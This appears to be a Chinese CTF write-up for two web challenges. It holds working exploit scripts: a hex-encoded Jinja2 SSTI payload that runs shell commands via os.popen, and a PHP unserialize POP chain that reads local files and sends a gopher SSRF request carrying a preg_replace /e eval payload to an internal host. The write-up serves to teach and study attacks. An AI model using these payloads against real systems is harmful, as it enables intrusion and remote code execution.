web

你就是我的master吗

`__globals__`用这个可以调用python自带的一些函数

```
#-*-codeing = utf-8 -*-
#@Author: Firebasky
import requests
url = 'http://42.192.72.11:10001/?name='
data='{{""["__class__"]["__base__"]["__subclasses__"]()[65]["__init__"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("nl *")["read"]()}}'
f=''
for i in data:
    f+=hex(ord(i)).replace("0x","\\x")

f=f.replace('\\x7b','{').replace('\\x22','"').replace('\\x5b','[').replace('\\x5d',']').replace('\\x7d','}').replace('\\x28','(').replace('\\x29',')').replace('\\x36\\x35','65')
# print(f)
res = requests.get(url+f)
print(res.text)
```

全16进制，只能在SSTI的时候用，和\x5f绕_一个道理(其实就是一样的)

```
#源代码
     1  from flask import Flask, request
     2  from jinja2 import Template
     3  app = Flask(__name__)
     4  @app.route("/")
     5  def index():
     6      name = request.args.get('name', 'guest')

     7      blacklist = ['%','-','_','config','args','init','global','.','\'','req','|','attr','get']
     8
     9      for i in blacklist:
    10          if i in name:
    11              return Template('你真是个小可爱').render()

    12      t = Template("早安，打工人<br/>你就是我的" + name + "吗？<br/><!--?name=master  -->")
    13      return t.render()

    14  if __name__ == "__main__":
    15      app.run()
```

ezphp

下载源代码之后分析发现game.php里面存在一个unserialize函数

```
#game.php
<?php
unserialize($_GET['a']);
```

然后查看class.php去构造pop去利用curl读数据

```
<?php
class User{
    public $username;
    public $password;
    public $time;
    public $best_time;
    public $error = "Usage error!";
}
class net_test{
    public $url;
    public function __construct($url){
        $this->url = $url;
    }
}
class Game{
    public $a;
}
$poc = new Game();
$poc->a = new User();
$poc->a->error = new net_test("file:///proc/net/arp");
echo str_replace('"Game":1:','"Game":2:',serialize($poc));
```

获得内网信息

```
#http://10.10.10.32
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['x'];
if(preg_match('/(system)|(passthru)|(exec)|(shell_exec)|(proc_open)|
(popen)/i', $content)) {
    die("<script>alert('Hacker!');window.location.href='index.php';
</script>");
}
$content = preg_replace('(([0-9])(.*?)\1)e','strtoupper("\\2")',$content);
?>
#x=1{${eval($_POST[a])}}1&a=phpinfo();
```

之后考察的就是preg_replace /e 的命令执行和gopher协议传输post数据包

```
$content = preg_replace('(([0-9])(.*?)\1)e','strtoupper("\\2")',$content);
#strtoupper("\\2")相当于匹配一个临时缓冲区位置是2
#在通过${}去解析变量执行命令
```

> **反向引用**

> 对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区** 中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数。

```python
import urllib
import requests

header={
    'Cookie': 'PHPSESSID=s6rhsv3i38sji0ittfs2can6jf'
}
url="http://42.192.72.11:40001/game.php?a="
test =\
'''POST /index.php HTTP/1.1
Host: 10.10.10.32
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Upgrade-Insecure-Requests: 1

x=1{${eval($_POST[a])}}1&a=show_source('/flag');
'''
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
# new=urllib.parse.quote(new)#进行url编码
result = 'gopher://10.10.10.32:80/_'+new
print(result)
#对数据包进行第一次url编码之后在进行序列化
```

```
$poc->a->error = new
net_test("gopher://10.10.10.32:80/_POST%20/index.php%20HTTP/1.1%0D%0AHost%3A%2010.10.10.32%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2048%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Ax%3D1%7B%24%7Beval%28%24_POST%5Ba%5D%29%7D%7D1%26a%3Dshow_source%28%27/flag%27%29%3B%0D%0A");
#之后在进行url编码
```

```python
import urllib
import requests

header={
    'Cookie': 'PHPSESSID=s6rhsv3i38sji0ittfs2can6jf'
}
url="http://42.192.72.11:40001/game.php?a="
exp='O:4:"Game":2:{s:1:"a";O:4:"User":5:
{s:8:"username";N;s:8:"password";N;s:4:"time";N;s:9:"best_time";N;s:5:"error
";O:8:"net_test":1:
{s:3:"url";s:305:"gopher://10.10.10.32:80/_POST%20/index.php%20HTTP/1.1%0D%0
AHost%3A%2010.10.10.32%0D%0AContent-Type%3A%20application/x-www-form-
urlencoded%0D%0AContent-Length%3A%2048%0D%0AUpgrade-Insecure-
Requests%3A%201%0D%0A%0D%0Ax%3D1%7B%24%7Beval%28%24_POST%5Ba%5D%29%7D%7D1%26
a%3Dshow_source%28%27/flag%27%29%3B%0D%0A";}}}'
exp=(urllib.parse.quote(exp))
u=url+exp
r=requests.get(u,headers=header)
if 'NCTF' in r.text:
    print(r.text)
```

原理是url编码解码会影响反序列化字符串长度，先将gopher数据一次编码进行序列化，然后将gopher数据进行二次编码再替换原数据打过去

> 参考：
>
> https://nctf.x1ct34m.com/challenges#Web
>
> https://ctf.njupt.edu.cn/562.html#WEB
>
> 深入研究preg_replace与代码执行